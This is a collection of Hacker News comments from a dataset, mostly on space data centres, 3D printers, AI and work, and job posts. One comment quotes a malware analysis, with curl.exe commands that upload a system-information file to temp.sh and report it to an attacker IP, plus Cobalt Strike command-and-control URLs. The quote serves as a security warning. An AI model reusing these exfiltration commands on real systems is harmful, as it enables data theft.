MurphyA/hacker-news huggingface dataset:
by Cthulhu_ | 2026-02-04 09:51:04+00:00
"cursory" implies fairly shallow / quick looking into it - given they have delivered, I'd say they met that benchmark. And the funding is obvious, through Kickstarter.

There's demand for high intensity lamps (and other hardware projects), a lot fail but some succeed, and lessons are learned. And not just by the people starting these projects, a big part of why these projects start in the first place is because the manufacturers make it accessible too.
by MadnessASAP | 2026-02-04 09:52:21+00:00
One made of steel presumably.

I would assume such a setup involves multiple stages of heat pumps to from GPU to 1400C radiatoe. Obviously that's going to impact efficiency.

Also I'm not seriously suggesting that 1400C radiators is a reasonable approach to cooling a space data centre. It's just intended to demonstrate how infeasible the idea is.
by throwup238 | 2026-02-04 09:52:31+00:00
Those Isabel black sabel brushes in the photos are some of the softest things I've ever used. I use them more often to just brush my face than paint with them. Expensive as all hell though - I think I paid $70 each for mine (compared to a $5 bag of like 50 cheap brushes you can buy from the art store).
by rendx | 2026-02-04 09:53:27+00:00
As a German working with charities, this petition doesn't make any sense/is not specific enough to know what they actually want. There is no such thing as getting an activity recognized as volunteering. You either volunteer for a registered charity, or you don't. Nobody cares what you do for a charity, whether you write code for it or clean the toilets doesn't matter for recognition.

The petition only makes legal sense if it were to ask to extend the set of charitable goals as specified in the Abgabenordnung, but the existing set already allows for FOSS projects as part of e.g. the "national education" category (public code is educative).

And, to be frank, I also don't get the "recognition" part. The tangible benefits of volunteering for a charity are limited; what does it even mean to get recognition for it.
by cromulent2 | 2026-02-04 09:53:34+00:00
A daily, competitive version of the dictionary game.

Each day, players try to spot the real definition of an obscure word among the fakes submitted by other players the day before. Fake definitions rank on a daily leaderboard.

I love the traditional version of the game, but it's not so easy to get a session going. An asynchronous, global format is my attempt to make it more casual and accessible.

It's live for about a month now: ~100 daily players, 5000 total, some 20 people on 10-day streaks.

https://plausiblegame.com/en
by ben_w | 2026-02-04 09:54:01+00:00
DCs in space have a lot of problems, but latency isn't really one of them. At least for inference*, I don't care if a chat response comes with a 0.2 second ping time (Earth-GEO-Earth at the speed of light), and I definitely don't care if a vibe coding session has a 2.5 second ping time (Earth-Moon-Earth).

I wonder what the largest viable ping time would be, for vibe coding? If it exceeds 40 minutes (my pre-Christmas experimentation would have been fine with that but it was just experiments), these things could be on Mars on the opposite side of the sun and still be useful.

* I have no idea what training needs, neither fundamentally nor currently in practice
by pseudony | 2026-02-04 09:54:17+00:00
I just don’t see it.

I mean, the long arch of computing history has had us wobble back and forth in regards to how closed down it all was, but it seems we are almost at a golden age again with respect to good enough (if not popular) hardware.

On the software front, we definitely swung back from the age of Microsoft. Sure, Linux is a lot more corporate than people admit, but it’s a lot more open than Microsoft’s offerings and it’s capable of running on practically everything except the smallest IOT device.

As for LLMs. I know people have hyped themselves up to think that if you aren’t chasing the latest LLM release and running swarms of agents, you are next in the queues for the soup kitchens, but again, I don’t see why it HAS to play out that way, partly because of history (as referenced), partly because open models are already so impressive and I don’t see any reason why they wouldn’t continue to do well.

In fact, I do my day-to-day work using an open weight model. Beyond that, can only say I know employers who will probably never countenance using commercially hosted LLMs, but who are already setting up self-hosted ones based on open weight releases.
by jdranczewski | 2026-02-04 09:54:25+00:00
You can, but the heat needs to go somewhere, and now you're back to square one, with "how do I get rid of all this heat". Earth refrigerators have a large heat exchanger on the back for this purpose. In fact now you need to get rid of both of the heat your compute generates and the energy your refrigerator pump uses - an example people often give is that a fridge with an open door actually heats the room, as it spends energy on moving heat around pointlessly.
by sam_goody | 2026-02-04 09:54:37+00:00
I get it. This is a scam. The discussion is not about what you think it is. (EDIT: Or not, I don't care.)

BUT the fact that we are even arguing about whether or not we should be putting data centers into space is so incredibly absurd to someone who watched the Challenger explode and assumed that space wouldn't be ventured into again in my lifetime.

People don't realize how much the priors have changed. Take a minute to appreciate that. We are living in a world where people are debating if it makes sense to spend a bazillion dollars to put a hard disk into orbit.

I wonder if the Klingons are good at cyber warfare.
by jillesvangurp | 2026-02-04 09:55:13+00:00
You can't change the world, you can change yourself. Many people don't like change. So, people get frustrated when the world inevitably changes and they fail to adapt. It's called getting older. Happens to us all.

I'm not immune to that and I catch myself sometimes being more reluctant to adapt. I'm well aware and I actively try to force myself to adapt. Because the alternative is becoming stuck in my ways and increasingly less relevant. There are a lot of much younger people around me that still have most of their careers ahead of them. They can try to whine about AI all they want for the next four decades or so but I don't think it will help them. Or they can try to deal with the fact that these tools are here now and that they need to learn to adapt to them whether they like it or not. And we are probably going to see quite some progress on the tool front. It's only been 3 years since ChatGPT had its public launch.

To address the core issue here. You can use AI or let AI use you. The difference here is about who is in control and who is setting the goals. The traditional software development team is essentially managers prompting programmers to do stuff. And now we have programmers prompting AIs to do that stuff. If you are just a middle man relaying prompts from managers to the AI, you are not adding a lot of value. That's frustrating. It should be because it means apparently you are very replaceable.

But you can turn that around. What makes that manager the best person to be prompting you? What's stopping them from skipping that entirely? Because that's your added value. Whatever you are good at and they are not is what you should be doing most of your time. The AI tools are just a means to an end to free up more time for whatever that is. Adapting means figuring that out for yourself and figuring out things that you enjoy doing that are still valuable to do.

There's plenty of work to be done. And AI tools won't lift a finger to do it until somebody starts telling them what needs doing. I see a lot of work around me that isn't getting done. A lot of people are blind to those opportunities. Hint: most of that stuff still looks like hard work. If some jerk can one shot prompt it, it isn't all that valuable and not worth your time.

Hard work usually involves thinking hard, skilling up, and figuring things out. The type of stuff the author is complaining he misses doing.
by Cthulhu_ | 2026-02-04 09:55:36+00:00
While true, who knows how long said trade war will last for? And in that time you're paying for storage / other expenses, your investors are waiting (although Kickstarter backers are often pretty patient), etc.

And they got the design right, insofar as they could see at that point, hence having 500 units built. In a lot of cases you can't have a single unit built as a one-off.
by simianwords | 2026-02-04 09:56:20+00:00
power is one aspect but i think it is valid for billionaires to have power.
buying goods is the other aspect and the poor and the rich more or less consume similarly.

i do want to live in the world where money doesn't dictate _consumption_ as much as power. money has to mean something, and its good that it goes into power more than consumption. that means the poor can have a dignified life to buy what they want but they don't get to dictate how money will be allocated.
A fast developer tools website
by darth-cassan | 2026-02-04 09:56:43+00:00
Hi HN — I built a small, static developer tools site with vanilla HTML/CSS/JS (no framework, no backend). It’s focused on quick utilities in a clean UI.

Current tools:

- Hex ↔ RGB converter
- JSON formatter/validator
- Base64 encode/decode
- Unix timestamp converter
- URL encoder/decoder
- Text case converter
- UUID v4 generator

Site: https://darthcassan.com

Repo: https://github.com/darth-cassan/darthcassan

Feedback welcome — especially missing tools or UX improvements.
by amelius | 2026-02-04 09:57:20+00:00
It has to do with AI because:

> Another line of reasoning is that with more fake CP it is more difficult to research the real CP hunt down the perpetrators and consequently save children.

(own quote)

Yes, the predators existed before AI, but also:

> I think the reasoning is that the AI contributes to more offenders (edited).

(own quote, edited)

To be clear, I don't think this line of reasoning is entirely convincing, but apparently some people do.
by senfiaj | 2026-02-04 09:57:31+00:00
> "The author clearly hasn't a clue about hardware, how memory is implemented."

I'm the author. Actually I'm quite familiar how memory addressing works, including concepts related to virtual memory / memory paging. Yes, I'm not a "low-level nerd" with a deep knowledge in OS, hardware or machine code / assembly, but I know enough basics. And yes, I already mentioned that binary addressing makes more sense in RAM (and most of the hardware), and yes, I would not expect 4000-byte memory pages or disk clusters.

My main points are:

1) Kilo, mega, etc. prefixes are supposed to be base 10 instead of base 2, but in tech industry they are often base 2.

2) But this isn't the worst part. While we could agree on 1024 magnitude if it's used for memory, the problem is that it's still used inconsistently. Sometimes kilobyte is 1024 bytes, sometimes it's 1000. And this causes a confusion. In some contexts, such as RAM stick or disk cluster, you can assume base 2, but in some other contexts, such as file size, it's ambiguous. For example, would it be good if Celsius meant different things? I don't think so, it would certainly complicate things.
by PurpleRamen | 2026-02-04 09:57:34+00:00
> A satellite in sun-synchronous orbit would have approximately 3-5X more energy generation than a terrestrial solar panel in the arctic.

Building 3-5x more solar plants in the Arctic, would still be cheaper than travelling to space. And that's ignoring that there are other, more efficient plants possible. Even just building a long powerline around the globe to fetch it from warmer regions would be cheaper.
by guenthert | 2026-02-04 09:57:59+00:00
Iirc (it's been a while), Interactive Unix (full?) install required some 40 (forty!) 5 1/4" floppies (I believe 1.2MiB) anno 1992 or so. Linux (SLS) install was (a little later) so much smaller, even with X11 and TeX, as it had shared libraries (somewhat new in the *nix world then).

Ah, good times ;-)
by binarray2000 | 2026-02-04 09:59:47+00:00
Those poor Russians. They supposedly (first sentence in the article: "European security officials believe") must go to the space to intercept EU communications.

US does that much better (and easier) on the ground (e.g. by compromising software and hardware) and in the air (e.g. radio communications). And that is not in the category of belief. It is proven.

And, the EU does. not. care. (e.g. no sanctions, no economic or any other breakup). To the contrary: it happily crawls before its master (some would say "ally", ahahaha...).
by cmenge | 2026-02-04 10:01:26+00:00
Over 10 years ago, the best satellites had 500W/kg [2]. Modern solar panels that are designed to be light are at 200g per sqm [1]. That's 5sqm per kg. One sqm generates ca. 500W. So we're at 2.5kW per kg. Some people claim 4.3kW/kg possible.

Starship launch costs have a $100/kg goal, so we'd be at $40 / kW, or $4800 for a 120kW cluster.

120kW is 1GWh annually, costs you around $130k in Europe per year to operate. ROI 14 days. Even if launch costs aren't that low in the beginning and there's a lot more stuff to send up, your ROI might be a year or so, which is still good.

[1] - https://www.polytechnique-insights.com/en/columns/space/ultr...
[2] - https://space.stackexchange.com/questions/12824/lightest-pos...
by lukan | 2026-02-04 10:01:47+00:00
"Correction: kids made the pictures. Using Grok as the tool."

No. That is not how AI nowdays works. Kids told the tool what they want and the tool understood and could have refused like all the other models - but instead it delivered. And it only could do so because it was specifically trained for that.

"If kids were to "git gud" at photoshop "

And what is that supposed to mean?

Adobe makes general purpose tools as far as I know.
by pointlessone | 2026-02-04 10:02:02+00:00
DGX H200 is 10,2 kW. So that like 10 of them. Or only 80 H200. Doesn’t sound like a big data center. More like a server room.

ISS radiators are huge 13.6x3.1 m. Each radiates 35 kW. So you need 3 of them to have your 100 kW target. They are also filled with gas that needs pumping so not exactly a passive system and as such can break down for a whole lot of reasons.

You also need to collect that power so you need about the same amount of power coming from solar panels. ISS solar array wings are 35x12 m and can generate about 31 kW of power. So we’ll need at least 3 of them. BTW each weighs a ton, a literal metric ton.

It hardly seems feasible. Huge infrastructure costs for small AI server rooms in space.
by quantummagic | 2026-02-04 10:02:41+00:00
This is a lot of fun! It's the first time i've ever used the uv package manager directly, and it was shocking how fast the game was running for the first time on my machine. Very nice.

Looks like the game still only runs in a small window, but Valve's gamescope*, had it running full screen right away too.

* gamescope -W 2560 -H 1440 -r 60 -S stretch uvx crimsonland@latest
by gus_ | 2026-02-04 10:02:51+00:00
running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing.

When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202

--

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

--

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin
by bluescrn | 2026-02-04 10:02:52+00:00
Prusa may still be king if you're using printers commercially, running them hard 24/7 in a print farm, wanting to be sure your investment has a decent lifespan with readily-available spare parts and upgrade options.

But it's a premium brand now. For lighter use by hobbyists, Bambu is the clear winner on price/performance. The 'less open' downside is not a factor to most people, and the printers generally work so well out-of-the-box that repairability isn't as much of a concern as it was on printers of the past.

Personally I went from a Prusa MK3s to a Bambu P1P (after looking long+hard at Prusa options), and so far, no regrets. (Although I've kept the old Prusa as a 2nd printer and upgraded it to a MK3.5, but mostly just because I do enjoy a bit of tinkering with them)
by Igrom | 2026-02-04 10:02:54+00:00
Location: Zürich, Switzerland, Europe/EU

Remote: Nice to see. Worldwide okay, depending on arrangement.

Willing to relocate: Poland/Switzerland, optionally China, but depends on the offer.

Technologies: Strong with distributed systems, networking (SD-WAN, VPN, ZTNA), authorization systems, web/network security and more. Backend: Rust, Typescript, Python, C#, Go and a variety of other interpreted and compiled languages. Frontend: React, Angular, Tailwind and so on. Relational and document databases. Data analytics. AWS and Azure. China specialist and interpreter, can speak German.

Résumé/CV: https://sowinski.blue/files/cv.pdf

Email: igor at sowinski.blue

Hi, I'm Igor. I have 9+ years of experience as a software engineer and technology-oriented China specialist. Based in Switzerland. I have designed and implemented a large part of internal production systems at a well-known international printing company, and currently develop innovative at a Swiss networking company.

I've been engaged with China since 2015. In 2020, I've started a degree in Chinese Studies at the University of Zürich. In 2024, I have finished a scholarship at the BFSU, the best language university in China. I have interpreted between Polish, English and Mandarin Chinese for the Polish Trade & Investment Agency at the Polish-Chinese Economic Forum in Shanghai (see pics on LinkedIn). I also keep tabs on technology and Chinese cybersecurity laws through Chinese sources and keep in touch with open source enthusiasts based in Mainland China and in Taiwan.
by joe_mamba | 2026-02-04 10:02:59+00:00
The existence and creation of cigarettes and adult nude magazines is fully legal, only their sale is illegal to kids. If kids try to illegally obtain those LEGAL items, it doesn't make the existence of those items illegal, just the act of sale to them.

Meanwhile, the existence/creation CSAM of actual people isn't legal, for anyone no matter the age.
by klez | 2026-02-04 10:03:03+00:00
Believe it or not, he's "just" off by two years.

Yes, he is in power since 2000 (1999, actually) but 1999-2012 he was Prime Minister. Only then he became President, which would make the end of his second term 2024. So the current one would be his third term (by the magic of changing the constitution and legal quibbles which effectively allow a president to stay in charge for four almost whole terms, AFAIU).
by OJFord | 2026-02-04 10:03:04+00:00
But it's also like, we know what we mean, if the Zapotec people/community are fairly insular or at least in marriage/procreation like to be with their own then that's for casual purposes 'mostly pure'.

Otherwise I can't even say I'm 'British', because who knows what mix I am if I go back further than I have record of, which is just silly, we know what we mean.
by MadnessASAP | 2026-02-04 10:03:35+00:00
From my experience, OpenAI Codex loves reverse engineering work. In one case it did a very thorough job of disassembling a 8051 MCUs firmware and how it spoke to its attached LCD controller.

Another (semi-related) project, given the manufacturers of above MCUs proprietary flashing SDK, it found the programmers firmware, extracted the decryption key from the updating utility, decrypted the firmware and accompanying flashing software and is currently tracing the necessary signals to use an Arduino as a programmer.

So not only is it willing, it's actually quite good at it. My thinking is that reverse engineering is a lot of pattern recognition and not a lot of "original thinking". I.e. the agent doesn't need to come up with anything new, just recognise what already exists.
by koakuma-chan | 2026-02-04 10:03:40+00:00
I can only really use Canadian banks because that's what Interac, Canadian system for sending money by email works with. The bank does decide what I can pay for because it limits the amount of money I can spend via Apple Pay (like $500), and in general (like $1000). You need to bring your physical card and call them to temporarily increase the limit to buy anything expensive.
by cogman10 | 2026-02-04 10:03:46+00:00
> I also strongly suspect, given some background reading, that radiator tech is very far from optimized. Most stuff we put into space so far just doesn't have big cooling needs, so there wasn't a market for advanced space radiator tech. If now there is, there's probably a lot of low hanging fruit (droplet radiators maybe).

You'd be wrong. There's a huge incentive to optimized radiator tech because of things like the international space station and MIR. It's a huge part of the deployment due to life having pretty narrow thermal bands. The added cost to deploy that tech also incentivizes hyper optimization.

Making bigger structures doesn't make that problem easier.

Fun fact, heat pipes were invented by NASA in the 60s to help address this very problem.
by RansomStark | 2026-02-04 10:03:57+00:00
No, and the blades created because of the methods used, would likely not be covered by the legislation anyway, theres a carve out for antiques and weapons made using traditional methods (now define traditional methods, because the law doesn't, but hammer and anvil would seem to be the most obvious traditional approach).

However, in practice the police continually take and often destroy legally owned antiques claiming they are zombie swords.

The law is written in such a way the police can take anything and you have to prove to a judge they aren't illegal.

One very large example of such police practices:
https://m.youtube.com/watch?v=RPm4Pts23Qg
by KevinMS | 2026-02-04 10:04:39+00:00
> While all this happens, twice as many will experience the same SA by their spouse, family member/friend, tinder date, or whatever. Likely you'll never hear about those - as if they never happened.

Does it matter? The crime's by illegals are *additional* crimes that wouldn't have happened. The crimes committed by citizens are just the cost of business.
by blauditore | 2026-02-04 10:05:25+00:00
The Kessler syndrome is mentioned, satellites colliding, causing a cascade of follow-up collisions. This gets brought up a lot, but people have a poor intuition on how large the orbit space is. Think of it this way: It's obviously larger that Earth's surface, and placing, say, a million objects on Earth still leaves a lot of space between them (there are thousands as many humans). Yes, satellites move in certain orbits, not in random places, but space is large, and humans are bad with imagining large numbers and things. The illustrations with fat dots on tiny earth images are misleading too IMO.

Apart of that, I do agree that space data centers are probably just a marketing stunt at this point, although some things could obviously be done to increase their chances, like more lightweight designs on GPUs, something that was never a big topic before.